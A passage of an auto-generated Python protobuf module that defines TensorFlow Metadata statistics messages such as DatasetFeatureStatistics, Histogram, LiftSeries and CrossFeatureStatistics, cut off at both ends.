\x01(\x0b\x32(.tensorflow.metadata.v0.StructStatisticsH\x01\x12=\n\x0c\x63ustom_stats\x18\x06 \x03(\x0b\x32\'.tensorflow.metadata.v0.CustomStatistic\"=\n\x04Type\x12\x07\n\x03INT\x10\x00\x12\t\n\x05\x46LOAT\x10\x01\x12\n\n\x06STRING\x10\x02\x12\t\n\x05\x42YTES\x10\x03\x12\n\n\x06STRUCT\x10\x04\x42\n\n\x08\x66ield_idB\x07\n\x05stats\"x\n\x18WeightedCommonStatistics\x12\x17\n\x0fnum_non_missing\x18\x01 \x01(\x01\x12\x13\n\x0bnum_missing\x18\x02 \x01(\x01\x12\x16\n\x0e\x61vg_num_values\x18\x03 \x01(\x01\x12\x16\n\x0etot_num_values\x18\x04 \x01(\x01\"\xbd\x01\n\x0f\x43ustomStatistic\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\r\n\x03num\x18\x02 \x01(\x01H\x00\x12\r\n\x03str\x18\x03 \x01(\tH\x00\x12\x36\n\thistogram\x18\x04 \x01(\x0b\x32!.tensorflow.metadata.v0.HistogramH\x00\x12?\n\x0erank_histogram\x18\x05 \x01(\x0b\x32%.tensorflow.metadata.v0.RankHistogramH\x00\x42\x05\n\x03val\"\xb9\x02\n\x11NumericStatistics\x12>\n\x0c\x63ommon_stats\x18\x01 \x01(\x0b\x32(.tensorflow.metadata.v0.CommonStatistics\x12\x0c\n\x04mean\x18\x02 \x01(\x01\x12\x0f\n\x07std_dev\x18\x03 \x01(\x01\x12\x11\n\tnum_zeros\x18\x04 \x01(\x04\x12\x0b\n\x03min\x18\x05 \x01(\x01\x12\x0e\n\x06median\x18\x06 \x01(\x01\x12\x0b\n\x03max\x18\x07 \x01(\x01\x12\x35\n\nhistograms\x18\x08 \x03(\x0b\x32!.tensorflow.metadata.v0.Histogram\x12Q\n\x16weighted_numeric_stats\x18\t \x01(\x0b\x32\x31.tensorflow.metadata.v0.WeightedNumericStatistics\"\xa2\x03\n\x10StringStatistics\x12>\n\x0c\x63ommon_stats\x18\x01 \x01(\x0b\x32(.tensorflow.metadata.v0.CommonStatistics\x12\x0e\n\x06unique\x18\x02 \x01(\x04\x12I\n\ntop_values\x18\x03 \x03(\x0b\x32\x35.tensorflow.metadata.v0.StringStatistics.FreqAndValue\x12\x12\n\navg_length\x18\x04 \x01(\x02\x12=\n\x0erank_histogram\x18\x05 \x01(\x0b\x32%.tensorflow.metadata.v0.RankHistogram\x12O\n\x15weighted_string_stats\x18\x06 \x01(\x0b\x32\x30.tensorflow.metadata.v0.WeightedStringStatistics\x12\x17\n\x0fvocabulary_file\x18\x07 \x01(\t\x1a\x36\n\x0c\x46reqAndValue\x12\r\n\x05value\x18\x02 \x01(\t\x12\x11\n\tfrequency\x18\x03 \x01(\x01J\x04\x08\x01\x10\x02\"\x81\x01\n\x19WeightedNumericStatistics\x12\x0c\n\x04mean\x18\x01 \x01(\x01\x12\x0f\n\x07std_dev\x18\x02 \x01(\x01\x12\x0e\n\x06median\x18\x03 \x01(\x01\x12\x35\n\nhistograms\x18\x04 \x03(\x0b\x32!.tensorflow.metadata.v0.Histogram\"\xa4\x01\n\x18WeightedStringStatistics\x12I\n\ntop_values\x18\x01 \x03(\x0b\x32\x35.tensorflow.metadata.v0.StringStatistics.FreqAndValue\x12=\n\x0erank_histogram\x18\x02 \x01(\x0b\x32%.tensorflow.metadata.v0.RankHistogram\"\xa6\x01\n\x0f\x42ytesStatistics\x12>\n\x0c\x63ommon_stats\x18\x01 \x01(\x0b\x32(.tensorflow.metadata.v0.CommonStatistics\x12\x0e\n\x06unique\x18\x02 \x01(\x04\x12\x15\n\ravg_num_bytes\x18\x03 \x01(\x02\x12\x15\n\rmin_num_bytes\x18\x04 \x01(\x02\x12\x15\n\rmax_num_bytes\x18\x05 \x01(\x02\"R\n\x10StructStatistics\x12>\n\x0c\x63ommon_stats\x18\x01 \x01(\x0b\x32(.tensorflow.metadata.v0.CommonStatistics\"\xfc\x02\n\x10\x43ommonStatistics\x12\x17\n\x0fnum_non_missing\x18\x01 \x01(\x04\x12\x13\n\x0bnum_missing\x18\x02 \x01(\x04\x12\x16\n\x0emin_num_values\x18\x03 \x01(\x04\x12\x16\n\x0emax_num_values\x18\x04 \x01(\x04\x12\x16\n\x0e\x61vg_num_values\x18\x05 \x01(\x02\x12\x16\n\x0etot_num_values\x18\x08 \x01(\x04\x12?\n\x14num_values_histogram\x18\x06 \x01(\x0b\x32!.tensorflow.metadata.v0.Histogram\x12O\n\x15weighted_common_stats\x18\x07 \x01(\x0b\x32\x30.tensorflow.metadata.v0.WeightedCommonStatistics\x12H\n\x1d\x66\x65\x61ture_list_length_histogram\x18\t \x01(\x0b\x32!.tensorflow.metadata.v0.Histogram\"\xb6\x02\n\tHistogram\x12\x0f\n\x07num_nan\x18\x01 \x01(\x04\x12\x15\n\rnum_undefined\x18\x02 \x01(\x04\x12\x39\n\x07\x62uckets\x18\x03 \x03(\x0b\x32(.tensorflow.metadata.v0.Histogram.Bucket\x12=\n\x04type\x18\x04 \x01(\x0e\x32/.tensorflow.metadata.v0.Histogram.HistogramType\x12\x0c\n\x04name\x18\x05 \x01(\t\x1aK\n\x06\x42ucket\x12\x11\n\tlow_value\x18\x01 \x01(\x01\x12\x12\n\nhigh_value\x18\x02 \x01(\x01\x12\x14\n\x0csample_count\x18\x04 \x01(\x01J\x04\x08\x03\x10\x04\",\n\rHistogramType\x12\x0c\n\x08STANDARD\x10\x00\x12\r\n\tQUANTILES\x10\x01\"\xb6\x01\n\rRankHistogram\x12=\n\x07\x62uckets\x18\x01 \x03(\x0b\x32,.tensorflow.metadata.v0.RankHistogram.Bucket\x12\x0c\n\x04name\x18\x02 \x01(\t\x1aX\n\x06\x42ucket\x12\x10\n\x08low_rank\x18\x01 \x01(\x04\x12\x11\n\thigh_rank\x18\x02 \x01(\x04\x12\r\n\x05label\x18\x04 \x01(\t\x12\x14\n\x0csample_count\x18\x05 \x01(\x01J\x04\x08\x03\x10\x04\x42h\n\x1aorg.tensorflow.metadata.v0P\x01ZEgithub.com/feast-dev/feast/sdk/go/protos/tensorflow_metadata/proto/v0\xf8\x01\x01\x62\x06proto3'
,
dependencies=[tensorflow__metadata_dot_proto_dot_v0_dot_path__pb2.DESCRIPTOR,])
_FEATURENAMESTATISTICS_TYPE = _descriptor.EnumDescriptor(
name='Type',
full_name='tensorflow.metadata.v0.FeatureNameStatistics.Type',
filename=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
values=[
_descriptor.EnumValueDescriptor(
name='INT', index=0, number=0,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='FLOAT', index=1, number=1,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='STRING', index=2, number=2,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='BYTES', index=3, number=3,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='STRUCT', index=4, number=4,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
],
containing_type=None,
serialized_options=None,
serialized_start=2056,
serialized_end=2117,
)
_sym_db.RegisterEnumDescriptor(_FEATURENAMESTATISTICS_TYPE)
_HISTOGRAM_HISTOGRAMTYPE = _descriptor.EnumDescriptor(
name='HistogramType',
full_name='tensorflow.metadata.v0.Histogram.HistogramType',
filename=None,
file=DESCRIPTOR,
create_key=_descriptor._internal_create_key,
values=[
_descriptor.EnumValueDescriptor(
name='STANDARD', index=0, number=0,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
_descriptor.EnumValueDescriptor(
name='QUANTILES', index=1, number=1,
serialized_options=None,
type=None,
create_key=_descriptor._internal_create_key),
],
containing_type=None,
serialized_options=None,
serialized_start=4393,
serialized_end=4437,
)
_sym_db.RegisterEnumDescriptor(_HISTOGRAM_HISTOGRAMTYPE)
_DATASETFEATURESTATISTICSLIST = _descriptor.Descriptor(
name='DatasetFeatureStatisticsList',
full_name='tensorflow.metadata.v0.DatasetFeatureStatisticsList',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='datasets', full_name='tensorflow.metadata.v0.DatasetFeatureStatisticsList.datasets', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=114,
serialized_end=212,
)
_DATASETFEATURESTATISTICS = _descriptor.Descriptor(
name='DatasetFeatureStatistics',
full_name='tensorflow.metadata.v0.DatasetFeatureStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='tensorflow.metadata.v0.DatasetFeatureStatistics.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='num_examples', full_name='tensorflow.metadata.v0.DatasetFeatureStatistics.num_examples', index=1,
number=2, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='weighted_num_examples', full_name='tensorflow.metadata.v0.DatasetFeatureStatistics.weighted_num_examples', index=2,
number=4, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='features', full_name='tensorflow.metadata.v0.DatasetFeatureStatistics.features', index=3,
number=3, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='cross_features', full_name='tensorflow.metadata.v0.DatasetFeatureStatistics.cross_features', index=4,
number=5, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=215,
serialized_end=445,
)
_CROSSFEATURESTATISTICS = _descriptor.Descriptor(
name='CrossFeatureStatistics',
full_name='tensorflow.metadata.v0.CrossFeatureStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='path_x', full_name='tensorflow.metadata.v0.CrossFeatureStatistics.path_x', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='path_y', full_name='tensorflow.metadata.v0.CrossFeatureStatistics.path_y', index=1,
number=2, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='count', full_name='tensorflow.metadata.v0.CrossFeatureStatistics.count', index=2,
number=3, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='num_cross_stats', full_name='tensorflow.metadata.v0.CrossFeatureStatistics.num_cross_stats', index=3,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='categorical_cross_stats', full_name='tensorflow.metadata.v0.CrossFeatureStatistics.categorical_cross_stats', index=4,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='cross_stats', full_name='tensorflow.metadata.v0.CrossFeatureStatistics.cross_stats',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=448,
serialized_end=756,
)
_NUMERICCROSSSTATISTICS = _descriptor.Descriptor(
name='NumericCrossStatistics',
full_name='tensorflow.metadata.v0.NumericCrossStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='correlation', full_name='tensorflow.metadata.v0.NumericCrossStatistics.correlation', index=0,
number=1, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='covariance', full_name='tensorflow.metadata.v0.NumericCrossStatistics.covariance', index=1,
number=2, type=2, cpp_type=6, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=758,
serialized_end=823,
)
_CATEGORICALCROSSSTATISTICS = _descriptor.Descriptor(
name='CategoricalCrossStatistics',
full_name='tensorflow.metadata.v0.CategoricalCrossStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='lift', full_name='tensorflow.metadata.v0.CategoricalCrossStatistics.lift', index=0,
number=1, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=825,
serialized_end=907,
)
_LIFTSTATISTICS = _descriptor.Descriptor(
name='LiftStatistics',
full_name='tensorflow.metadata.v0.LiftStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='lift_series', full_name='tensorflow.metadata.v0.LiftStatistics.lift_series', index=0,
number=1, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='weighted_lift_series', full_name='tensorflow.metadata.v0.LiftStatistics.weighted_lift_series', index=1,
number=2, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=910,
serialized_end=1049,
)
_LIFTSERIES_BUCKET = _descriptor.Descriptor(
name='Bucket',
full_name='tensorflow.metadata.v0.LiftSeries.Bucket',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='low_value', full_name='tensorflow.metadata.v0.LiftSeries.Bucket.low_value', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='high_value', full_name='tensorflow.metadata.v0.LiftSeries.Bucket.high_value', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=1280,
serialized_end=1327,
)
_LIFTSERIES_LIFTVALUE = _descriptor.Descriptor(
name='LiftValue',
full_name='tensorflow.metadata.v0.LiftSeries.LiftValue',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='x_int', full_name='tensorflow.metadata.v0.LiftSeries.LiftValue.x_int', index=0,
number=1, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='x_string', full_name='tensorflow.metadata.v0.LiftSeries.LiftValue.x_string', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='lift', full_name='tensorflow.metadata.v0.LiftSeries.LiftValue.lift', index=2,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='x_count', full_name='tensorflow.metadata.v0.LiftSeries.LiftValue.x_count', index=3,
number=4, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='weighted_x_count', full_name='tensorflow.metadata.v0.LiftSeries.LiftValue.weighted_x_count', index=4,
number=5, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='x_and_y_count', full_name='tensorflow.metadata.v0.LiftSeries.LiftValue.x_and_y_count', index=5,
number=6, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='weighted_x_and_y_count', full_name='tensorflow.metadata.v0.LiftSeries.LiftValue.weighted_x_and_y_count', index=6,
number=7, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='x_value', full_name='tensorflow.metadata.v0.LiftSeries.LiftValue.x_value',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='x_count_value', full_name='tensorflow.metadata.v0.LiftSeries.LiftValue.x_count_value',
index=1, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='x_and_y_count_value', full_name='tensorflow.metadata.v0.LiftSeries.LiftValue.x_and_y_count_value',
index=2, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=1330,
serialized_end=1549,
)
_LIFTSERIES = _descriptor.Descriptor(
name='LiftSeries',
full_name='tensorflow.metadata.v0.LiftSeries',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='y_int', full_name='tensorflow.metadata.v0.LiftSeries.y_int', index=0,
number=1, type=5, cpp_type=1, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='y_string', full_name='tensorflow.metadata.v0.LiftSeries.y_string', index=1,
number=2, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='y_bucket', full_name='tensorflow.metadata.v0.LiftSeries.y_bucket', index=2,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='y_count', full_name='tensorflow.metadata.v0.LiftSeries.y_count', index=3,
number=4, type=4, cpp_type=4, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='weighted_y_count', full_name='tensorflow.metadata.v0.LiftSeries.weighted_y_count', index=4,
number=5, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='lift_values', full_name='tensorflow.metadata.v0.LiftSeries.lift_values', index=5,
number=6, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[_LIFTSERIES_BUCKET, _LIFTSERIES_LIFTVALUE, ],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='y_value', full_name='tensorflow.metadata.v0.LiftSeries.y_value',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='y_count_value', full_name='tensorflow.metadata.v0.LiftSeries.y_count_value',
index=1, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=1052,
serialized_end=1577,
)
_FEATURENAMESTATISTICS = _descriptor.Descriptor(
name='FeatureNameStatistics',
full_name='tensorflow.metadata.v0.FeatureNameStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='tensorflow.metadata.v0.FeatureNameStatistics.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='path', full_name='tensorflow.metadata.v0.FeatureNameStatistics.path', index=1,
number=8, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='type', full_name='tensorflow.metadata.v0.FeatureNameStatistics.type', index=2,
number=2, type=14, cpp_type=8, label=1,
has_default_value=False, default_value=0,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='num_stats', full_name='tensorflow.metadata.v0.FeatureNameStatistics.num_stats', index=3,
number=3, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='string_stats', full_name='tensorflow.metadata.v0.FeatureNameStatistics.string_stats', index=4,
number=4, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='bytes_stats', full_name='tensorflow.metadata.v0.FeatureNameStatistics.bytes_stats', index=5,
number=5, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='struct_stats', full_name='tensorflow.metadata.v0.FeatureNameStatistics.struct_stats', index=6,
number=7, type=11, cpp_type=10, label=1,
has_default_value=False, default_value=None,
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='custom_stats', full_name='tensorflow.metadata.v0.FeatureNameStatistics.custom_stats', index=7,
number=6, type=11, cpp_type=10, label=3,
has_default_value=False, default_value=[],
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
_FEATURENAMESTATISTICS_TYPE,
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
_descriptor.OneofDescriptor(
name='field_id', full_name='tensorflow.metadata.v0.FeatureNameStatistics.field_id',
index=0, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
_descriptor.OneofDescriptor(
name='stats', full_name='tensorflow.metadata.v0.FeatureNameStatistics.stats',
index=1, containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[]),
],
serialized_start=1580,
serialized_end=2138,
)
_WEIGHTEDCOMMONSTATISTICS = _descriptor.Descriptor(
name='WeightedCommonStatistics',
full_name='tensorflow.metadata.v0.WeightedCommonStatistics',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='num_non_missing', full_name='tensorflow.metadata.v0.WeightedCommonStatistics.num_non_missing', index=0,
number=1, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='num_missing', full_name='tensorflow.metadata.v0.WeightedCommonStatistics.num_missing', index=1,
number=2, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='avg_num_values', full_name='tensorflow.metadata.v0.WeightedCommonStatistics.avg_num_values', index=2,
number=3, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
_descriptor.FieldDescriptor(
name='tot_num_values', full_name='tensorflow.metadata.v0.WeightedCommonStatistics.tot_num_values', index=3,
number=4, type=1, cpp_type=5, label=1,
has_default_value=False, default_value=float(0),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key),
],
extensions=[
],
nested_types=[],
enum_types=[
],
serialized_options=None,
is_extendable=False,
syntax='proto3',
extension_ranges=[],
oneofs=[
],
serialized_start=2140,
serialized_end=2260,
)
_CUSTOMSTATISTIC = _descriptor.Descriptor(
name='CustomStatistic',
full_name='tensorflow.metadata.v0.CustomStatistic',
filename=None,
file=DESCRIPTOR,
containing_type=None,
create_key=_descriptor._internal_create_key,
fields=[
_descriptor.FieldDescriptor(
name='name', full_name='tensorflow.metadata.v0.CustomStatistic.name', index=0,
number=1, type=9, cpp_type=9, label=1,
has_default_value=False, default_value=b"".decode('utf-8'),
message_type=None, enum_type=None, containing_type=None,
is_extension=False, extension_scope=None,
